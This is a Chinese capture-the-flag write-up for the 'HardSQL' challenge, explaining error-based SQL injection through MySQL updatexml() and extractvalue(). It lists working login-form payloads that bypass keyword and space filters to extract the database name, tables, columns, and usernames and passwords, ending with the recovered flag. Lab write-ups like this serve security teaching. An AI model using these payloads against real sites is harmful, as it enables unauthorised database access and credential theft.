[极客大挑战 2019]HardSQL
目录
题目:buu平台上的,题目链接
解题过程
fuzz一下,发现过滤了好多关键词,union select,sleep,and,空格等。
可以采用报错注入,可以使用updataxml或者extractvalue进行报错注入。
首先引用关于updatexml函数的解析,相关链接附在结尾
首先了解下updatexml()函数
1
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
1
updatexml(1,concat(0x7e,(
SELECT
@@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
1
ERROR 1105 (HY000): XPATH syntax error:
':root@localhost'
因为updatexml需要xpath格式的字符串,但是以~开头的字符串不符合,所以会报错,同时会将括号内的执行结果以错误的形式爆出。这就可以实现报错注入。
updataxml报错注入
查询版本
check.php?username=admin'^(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=1
查询数据库名称
check.php?username=admin'^(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
查询表名
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
查询字段
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
查询数据
check.php?username=admin'^(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=1
只出来了左边一部分,现在查右边一部分
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1
拼接起来
flag{943a7440-f657-4538-b395-19f34323cbde}
extractvalue报错注入
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
类似于updatexml()报错,第二个参数要是xpath格式的字符串,我们拼接一个0x7e(~),不符合该格式,自然会报错,根据报错执行的结果进行查询。
下面举一个例子
check.php?username=admin'^extractvalue(1,concat(0x7e,database()))%23&password=1
类似于updatexml()函数,不过这个函数是两个参数,注意这一点。其余类似。
相关链接:
3.学习基于extractvalue()和updatexml()的报错注入